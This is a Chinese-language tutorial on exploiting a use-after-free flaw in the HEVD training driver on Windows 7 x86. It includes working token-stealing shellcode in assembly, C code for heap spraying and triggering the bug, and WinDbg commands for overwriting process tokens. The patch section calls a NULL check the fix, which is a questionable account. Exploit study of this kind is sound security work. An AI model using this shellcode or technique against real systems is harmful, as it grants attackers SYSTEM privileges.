Windows Kernel Exploit(一) -> UAF
字数 1041 2025-08-05 08:19:22
Windows Kernel Exploit 教学文档:UAF漏洞分析与利用
0x00 前言
本文详细讲解Windows内核中的Use-After-Free (UAF)漏洞原理及利用方法。实验环境为Windows 7 x86 sp1系统,通过HEVD (HackSys Extreme Vulnerable Driver)和OSR Loader构造漏洞环境。
0x01 漏洞原理
提权原理
在Windows系统中,进程权限由token控制。通过修改普通进程的token为系统进程的token,可以实现提权。
关键数据结构:
_EPROCESS:进程结构体_EX_FAST_REF:存储token的结构体,位于_EPROCESS偏移0xf8处
手动提权步骤:
- 查找System进程的token值
- 修改目标进程的token值为System的token
UAF原理
Use-After-Free是指内存块被释放后再次被使用的情况,主要分为三种:
- 内存释放后指针置NULL,再次使用导致崩溃
- 内存释放后指针未置NULL,且内存未被修改,程序可能正常运行
- 内存释放后指针未置NULL,且内存被修改,导致异常行为
在HEVD漏洞中,关键代码片段:
if (g_UseAfterFreeObject) {
if (g_UseAfterFreeObject->Callback) {
g_UseAfterFreeObject->Callback(); // 漏洞点
}
}
通过覆盖释放后的Callback指针,可以控制程序执行流。
0x02 漏洞利用
利用思路
- 申请与漏洞对象相同大小的内存块
- 构造伪造对象,包含shellcode地址
- 通过堆喷射技术提高命中率
- 触发UAF执行shellcode
关键数据结构
typedef struct _FAKE_USE_AFTER_FREE {
FunctionPointer countinter;
char bufffer[0x54];
} FAKE_USE_AFTER_FREE, *PUSE_AFTER_FREE;
Shellcode实现
提权shellcode通过以下步骤实现:
- 获取当前线程的
_KTHREAD结构 - 找到当前进程的
_EPROCESS结构 - 遍历进程链表查找System进程(PID=4)
- 复制System进程的token到当前进程
汇编实现:
pushad
mov eax, fs:[124h] ; 当前线程的_KTHREAD结构
mov eax, [eax + 0x50] ; 获取_EPROCESS结构
mov ecx, eax ; 保存当前进程_EPROCESS
mov edx, 4 ; SYSTEM PID
find_sys_pid:
mov eax, [eax + 0xb8] ; 进程活动链表
sub eax, 0xb8 ; 链表遍历
cmp [eax + 0xb4], edx ; 比较PID
jnz find_sys_pid
; 替换Token
mov edx, [eax + 0xf8]
mov [ecx + 0xf8], edx
popad
ret
利用步骤
- 构造伪造对象:
PUSE_AFTER_FREE fakeG_UseAfterFree = (PUSE_AFTER_FREE)malloc(sizeof(FAKE_USE_AFTER_FREE));
fakeG_UseAfterFree->countinter = ShellCode;
RtlFillMemory(fakeG_UseAfterFree->bufffer, sizeof(fakeG_UseAfterFree->bufffer), 'A');
- 堆喷射:
for (int i = 0; i < 5000; i++) {
DeviceIoControl(hDevice, 0x22201F, fakeG_UseAfterFree, 0x60, NULL, 0, &recvBuf, NULL);
}
- 触发UAF:
// 调用UseUaFObject()
DeviceIoControl(hDevice, 0x222013, NULL, NULL, NULL, 0, &recvBuf, NULL);
// 调用FreeUaFObject()
DeviceIoControl(hDevice, 0x22201B, NULL, NULL, NULL, 0, &recvBuf, NULL);
- 验证提权:
STARTUPINFO si = { sizeof(si) };
PROCESS_INFORMATION pi = { 0 };
si.dwFlags = STARTF_USESHOWWINDOW;
si.wShowWindow = SW_SHOW;
WCHAR wzFilePath[MAX_PATH] = { L"cmd.exe" };
BOOL bReturn = CreateProcessW(NULL, wzFilePath, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, (LPSTARTUPINFOW)&si, &pi);
0x03 补丁分析
修复方案是在调用Callback前增加NULL检查:
if (g_UseAfterFreeObject != NULL) {
if (g_UseAfterFreeObject->Callback) {
g_UseAfterFreeObject->Callback();
}
}
0x04 调试技巧
- 使用Windbg查看进程信息:
kd> !dml_proc
kd> dt nt!_EPROCESS <Address>
kd> dt nt!_EX_FAST_REF <Address>+f8
- 手动修改token:
kd> ed <ProcessAddress>+f8 <SystemTokenValue>
0x05 参考链接
- https://redogwu.github.io/2018/11/02/windows-kernel-exploit-part-1/
- CVE-2014-4113
- CVE-2018-8120
通过本文可以全面理解Windows内核UAF漏洞的原理和利用方法,为后续研究更复杂的内核漏洞打下基础。